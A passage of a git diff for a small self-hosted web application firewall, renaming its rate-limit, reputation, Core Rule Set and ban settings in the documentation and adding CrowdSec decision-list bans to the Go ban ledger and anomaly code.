of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`.
@@ -57,9 +55,9 @@ chooses between the two (see "The image's command" below).
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
files, an absolute path that can be written. The image's `run` script makes
it.
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration.
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
cache file is written. A duration.
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
files, an absolute path that can be written. The image's `run` script makes
@@ -79,8 +77,8 @@ chooses between the two (see "The image's command" below).
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused.
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
they wait to be sent, a whole number above zero.
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
wait to be sent, a whole number above zero.
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`.
@@ -89,9 +87,8 @@ chooses between the two (see "The image's command" below).
## Metrics
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
numbers and how many countries get series of their own. A whole number above
zero.
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
countries get series of their own. A whole number above zero.
## Static lists
@@ -137,10 +134,10 @@ cut off; the client is banned.
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
bytes count: response bodies, request bodies or both. The request that passes
the limit is not cut off, and the client is banned when its response ends.
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
count: response bodies, request bodies or both. The request that passes the
limit is not cut off, and the client is banned when its response ends.
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
anomaly thresholds count: `response`, the app's response bodies; `request`,
the visitors' request bodies; or `both`. What the visitor sent over a
WebSocket counts as request bytes, and what the app sent as response bytes.
@@ -150,22 +147,20 @@ cut off; the client is banned.
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
stops the start while a setting that needs a lookup is set:
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWW_WAF_ADD_LOOKUP_HEADERS` set to `true`;
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number.
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
request waits for its client's first answer from GeoJS, and how long a request
to GeoJS may take. A time in milliseconds; never `off`.
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `true`): `true` has `rproxy` pass the
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`.
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
app the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`. The default is `false` while `SWW_WAF_LOOKUP_SOURCE` is
`off`. With GeoJS, a new client's first request waits for its answer, up to
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`.
`X-Client-Country`.
## Country list
@@ -182,8 +177,8 @@ in [`SPEC.md`](../SPEC.md).
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS` or is
`SWW_WAF_ASN_LIMIT_PERCENT_URL`.
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused.
@@ -211,20 +206,22 @@ tag that no request can get stops the start. A request can get only these:
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
`off`.
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
## Biased thresholds
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
(default empty): a percentage of the byte limits alone, for the AS numbers or
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
An AS number or country listed twice is refused.
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
client the lookup cannot place.
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
empty): a percentage of the byte limits alone, for the AS numbers or countries
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
or country listed twice is refused.
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
the lookup cannot place.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
a text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in
@@ -233,15 +230,15 @@ tag that no request can get stops the start. A request can get only these:
## Attack detection
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
rule files.
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
files.
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
paranoia level, from 1 to 4.
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
request is a match. A whole number above zero, or `off`.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
@@ -250,10 +247,10 @@ tag that no request can get stops the start. A request can get only these:
`smallwebwaf`'s own.
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
Rule Set does not inspect.
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
much of a request body the Core Rule Set reads, a size of at most `64K`. A
question carries no more of a body than 64 KiB, and the Core Rule Set reads at
most 64 KiB less one byte of it, whatever the value (see "The answer" in
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
request body the Core Rule Set reads, a size of at most `64K`. A question
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
KiB less one byte of it, whatever the value (see "The answer" in
[`SPEC.md`](../SPEC.md)).
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
Set exclusions, written as Coraza directives. It is loaded before the Core
@@ -291,10 +288,9 @@ tag that no request can get stops the start. A request can get only these:
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
may get in a minute from a rule file, a trap path or the Core Rule Set, a
count or `off`. The next one bans the client (see "Attack detection" in
`SPEC.md`).
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
## Ban lengths, response and scope
@@ -303,8 +299,8 @@ tag that no request can get stops the start. A request can get only these:
A duration.
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration.
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
that would be longer than this is permanent instead. A duration.
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
one that would be longer is permanent. A duration.
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
of attack. A duration.
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
@@ -332,12 +328,20 @@ tag that no request can get stops the start. A request can get only these:
score, from 0 to 100, that is a hit.
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
or AbuseIPDB's score is used. A duration.
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
zone or a check with AbuseIPDB may take. A time in milliseconds.
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
without a user or a fragment; its decision list is at `v1/decisions` under it.
Set without the key, it is refused. So is a decision list URL that is also in
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
check with AbuseIPDB may take. A duration.
## Alerting
@@ -365,7 +369,7 @@ tag that no request can get stops the start. A request can get only these:
## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are:
@@ -385,10 +389,9 @@ as `REQUESTS_PER_MINUTE`:
client.
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
(default empty) is a list of name, `=` and netblock, such as
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files
@@ -432,11 +435,10 @@ A few limits are fixed rather than settings:
## `waf`'s answer and `rproxy`'s wait
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
an outside source. Keep it well under `rproxy`'s
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
asked in the background (see "Answering in time" under "`waf`" in
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
[`SPEC.md`](../SPEC.md)).
## `rproxy`
@@ -445,17 +447,18 @@ asked in the background (see "Answering in time" under "`waf`" in
start, and an invalid value stops the start. Any can be given as a file, as a
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it.
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
for `waf`'s answer, to a question and to a report. A time in milliseconds;
never `off`.
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
with a request when `waf` cannot be connected to, does not answer at all, or
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
to the app, and `deny` answers `503`. It does not apply to an answer `waf`
gives, such as an error.
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
answer, to a question and to a report. A time; never `off`.
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
request when `waf` cannot be connected to, does not answer at all, or does not
answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
`deny` answers `503`. It does not apply to an answer `waf` gives, such as an
error.
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
size or `off`.
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
@@ -463,12 +466,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
take to send its request line and headers. It then also bounds, from the end
of the headers, the time until the app has been sent the whole request. A time
in milliseconds or `off`.
or `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
take, from the end of the request to its last byte reaching the visitor. An
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
do the status and headers of the app's answer. A time in milliseconds or
`off`.
do the status and headers of the app's answer. A time or `off`.
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`:9000`.
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
+1 -1
View File
@@ -25,7 +25,7 @@ Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
those `waf` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit` or `admin`;
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
- `reason`: a short reason;
- `lifted`: when an admin lifted it, if one did;
- `notes`: the notes below.
+4 -3
View File
@@ -45,11 +45,12 @@ const (
// threshold.
EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist or a DNSBL
// zone lists, or whose AbuseIPDB score is a hit.
// EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit.
EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing sww, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
+7 -7
View File
@@ -37,7 +37,7 @@ const (
ScopeASN = "asn"
// ScopeTotal is the whole service.
ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
ScopeWatchedNet = "watched_net"
)
@@ -68,7 +68,7 @@ type Thresholds struct {
BytesPerHour int64
}
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
type NamedNetblock struct {
Name string
Netblock netip.Prefix
@@ -78,12 +78,12 @@ type NamedNetblock struct {
type Params struct {
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
// SWW_WAF_ANOMALY_WATCHED_NET_*.
Client, Net, ASN, Total, WatchedNet Thresholds
// SWW_WAF_WATCH_*.
Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
// NamedNetblocks are SWW_WAF_WATCH_NETS.
NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts.
Alerts *alerts.Queue
@@ -119,7 +119,7 @@ type Request struct {
// ASN, ASName and Country are the client's as looked up, each "" when
// unknown.
ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
Bytes int64
}
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.WatchedNet,
}, p.Watch,
})
}
}
+1 -1
View File
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
counters := anomaly.New(anomaly.Params{
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
Total: overAtTheSecond, WatchedNet: overAtTheSecond,
Total: overAtTheSecond, Watch: overAtTheSecond,
// The netblock around a client is the client's own, and two names
// name one netblock.
NetV4Prefix: 32,
+117 -44
View File
@@ -1,8 +1,10 @@
// Package bans is the ban ledger: the bans sww makes on the
// netblocks of clients that break a rate limit, a byte limit or the refusal
// limit or show a clear sign of attack, and those an admin makes, with their
// notes, as the "Bans" section of SPEC.md describes. The bans are kept in
// memory, and written to bans.json and read from it by the state package.
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
package bans
import (
@@ -26,6 +28,9 @@ const (
// CauseAdmin is a ban an admin made, or one sww made that an
// admin keeps. It is never dropped.
CauseAdmin = "admin"
// CauseCrowdSec is a ban sww made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec"
)
// repeatFactor is how many times as long as the netblock's last ban a ban
@@ -40,13 +45,13 @@ type Params struct {
// LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's
// ban that ended last, other than one for a clear sign of attack, a
// broken limit counts as a repeat, which bans for
// ban that ended last, other than one for a clear sign of attack or for
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban.
LimitBanRepeatWindow time.Duration
// A ban for a broken limit that would be longer than
// LimitBanPermanentAbove is permanent instead.
LimitBanPermanentAbove time.Duration
// MaxBanDuration is the longest ban for a broken limit; one that would
// be longer is permanent instead.
MaxBanDuration time.Duration
// AttackBanDuration is how long a first ban for a clear sign of attack
// lasts.
AttackBanDuration time.Duration
@@ -63,10 +68,11 @@ type Ban struct {
Start time.Time
// Expires is when the ban ends, zero for a permanent ban.
Expires time.Time
// Cause is CauseLimit, CauseAttack or CauseAdmin.
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
Cause string
// Reason is a short text: for a ban sww made, the limit broken or
// the rule that matched; for an admin's, what the admin wrote.
// Reason is a short text: for a ban sww made, the limit broken,
// the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote.
Reason string
// Lifted is when an admin lifted the ban, zero while no admin has. A
// lifted ban refuses nothing, and does not make the netblock's next
@@ -99,7 +105,7 @@ type Notes struct {
Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the refusal limit, the limit that was
// byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
@@ -127,7 +133,8 @@ type Notes struct {
// log's reputation names them. It is left out when none did.
Reputation []ReputationHit `json:"reputation,omitempty"`
// Request is the request that broke the limit, or whose bytes broke
// it, or that was the clear sign of attack.
// it, that was the clear sign of attack, or that came from a client the
// CrowdSec decision list lists.
Request Request `json:"request"`
// Requests is how many requests the netblock has sent since it was
// first seen, and Refused how many of them the ban has refused so
@@ -141,8 +148,9 @@ type Notes struct {
// ReputationHit is a reputation source that listed a client, as a
// reputation_hit alert's detail gives it: Source is the URL of the
// blocklist, the DNSBL zone with its key masked, or "abuseipdb", and Score,
// for AbuseIPDB alone, its score of the client.
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
// client.
type ReputationHit struct {
Source string `json:"source"`
Score *int64 `json:"score,omitempty"`
@@ -150,9 +158,10 @@ type ReputationHit struct {
// EarlierBans counts a netblock's bans before a ban, by cause.
type EarlierBans struct {
Limit int `json:"limit"`
Attack int `json:"attack"`
Admin int `json:"admin"`
Limit int `json:"limit"`
Attack int `json:"attack"`
Admin int `json:"admin"`
CrowdSec int `json:"crowdsec"`
}
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -294,9 +303,10 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// BanForLimit bans netblock at now for a broken limit, with notes, and
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
// made within LimitBanRepeatWindow after the netblock's ban that ended
// last, other than one for a clear sign of attack or a lifted one, lasts
// last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
// than MaxBanDuration is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is
// returned with false, and no other is made. The ledger fills in the
// notes' Refused and EarlierBans itself, and gives the ban the reason
@@ -308,6 +318,7 @@ func (l *Ledger) BanForLimit(
return l.ban(
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
@@ -323,6 +334,7 @@ func (l *Ledger) WouldBanForLimit(
return l.ban(
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
@@ -341,6 +353,7 @@ func (l *Ledger) BanForAttack(
return l.ban(
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
@@ -356,6 +369,7 @@ func (l *Ledger) WouldBanForAttack(
return l.ban(
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
@@ -363,9 +377,51 @@ func (l *Ledger) WouldBanForAttack(
)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit
// or CauseAttack, made at now would be permanent, as BanForLimit or
// BanForAttack would make it. It works out nothing else of the ban.
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
// decision on the client ends, with notes, and returns the ban, and
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) {
return l.ban(
netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
}
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) {
return l.ban(
netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
// nothing else of the ban. A ban for CrowdSec's decision is never
// permanent: it ends with the decision.
func (l *Ledger) WouldBePermanent(
netblock netip.Prefix, now time.Time, cause string,
) bool {
@@ -377,11 +433,14 @@ func (l *Ledger) WouldBePermanent(
held = *bans
}
if cause == CauseAttack {
switch cause {
case CauseAttack:
return l.attackExpiry(held, now).IsZero()
case CauseLimit:
return l.limitExpiry(held, now).IsZero()
default: // CauseCrowdSec
return false
}
return l.limitExpiry(held, now).IsZero()
}
// limitReason is the reason of a ban for a broken limit, with notes.
@@ -400,6 +459,12 @@ func attackReason(notes Notes) string {
return "matched the rule " + notes.RuleID
}
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
// scenario made.
func crowdSecReason(scenario string) string {
return "CrowdSec's decision for " + scenario
}
// BanForAdmin bans netblock at now for an admin, with reason, until
// expires, or for good when expires is zero, and returns the ban, whose
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
@@ -639,13 +704,15 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
})
}
// ban bans netblock at now for cause, CauseLimit or CauseAttack, with
// reason and notes, as BanForLimit and BanForAttack describe, and returns
// the ban, and whether it made it. Unless keep is true, the ban is not
// made, only returned: it is the ban that would have been made.
// ban bans netblock at now for cause, with reason and notes, as
// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
// ban, and whether it made it. expires is when a ban for CauseCrowdSec
// ends, and zero for the others, whose end the ledger works out. Unless
// keep is true, the ban is not made, only returned: it is the ban that
// would have been made.
func (l *Ledger) ban(
netblock netip.Prefix,
now time.Time,
now, expires time.Time,
cause, reason string,
notes Notes,
keep bool,
@@ -676,10 +743,13 @@ func (l *Ledger) ban(
Notes: notes,
}
if cause == CauseAttack {
switch cause {
case CauseAttack:
ban.Expires = l.attackExpiry(held, now)
} else {
case CauseLimit:
ban.Expires = l.limitExpiry(held, now)
default: // CauseCrowdSec
ban.Expires = expires
}
if !keep {
@@ -714,13 +784,16 @@ func earlierBans(held []Ban) EarlierBans {
fromHere.Attack++
case CauseAdmin:
fromHere.Admin++
case CauseCrowdSec:
fromHere.CrowdSec++
}
notes := ban.Notes.EarlierBans
count := EarlierBans{
Limit: notes.Limit + fromHere.Limit,
Attack: notes.Attack + fromHere.Attack,
Admin: notes.Admin + fromHere.Admin,
Limit: notes.Limit + fromHere.Limit,
Attack: notes.Attack + fromHere.Attack,
Admin: notes.Admin + fromHere.Admin,
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
}
// Of counts that name as many bans, the earlier ban's is taken: it
@@ -735,7 +808,7 @@ func earlierBans(held []Ban) EarlierBans {
// total returns how many bans e counts, of all causes.
func (e EarlierBans) total() int {
return e.Limit + e.Attack + e.Admin
return e.Limit + e.Attack + e.Admin + e.CrowdSec
}
// markChanged has Changed receive a value, unless one is waiting already.
@@ -840,9 +913,9 @@ func (l *Ledger) add(ban Ban) {
// limitExpiry returns when a ban for a broken limit made at now ends, or
// zero when it is permanent. held are the netblock's bans, none of them
// active, of which the one that ended last, other than a ban for a clear
// sign of attack or a lifted one, can make the new ban longer. A ban an
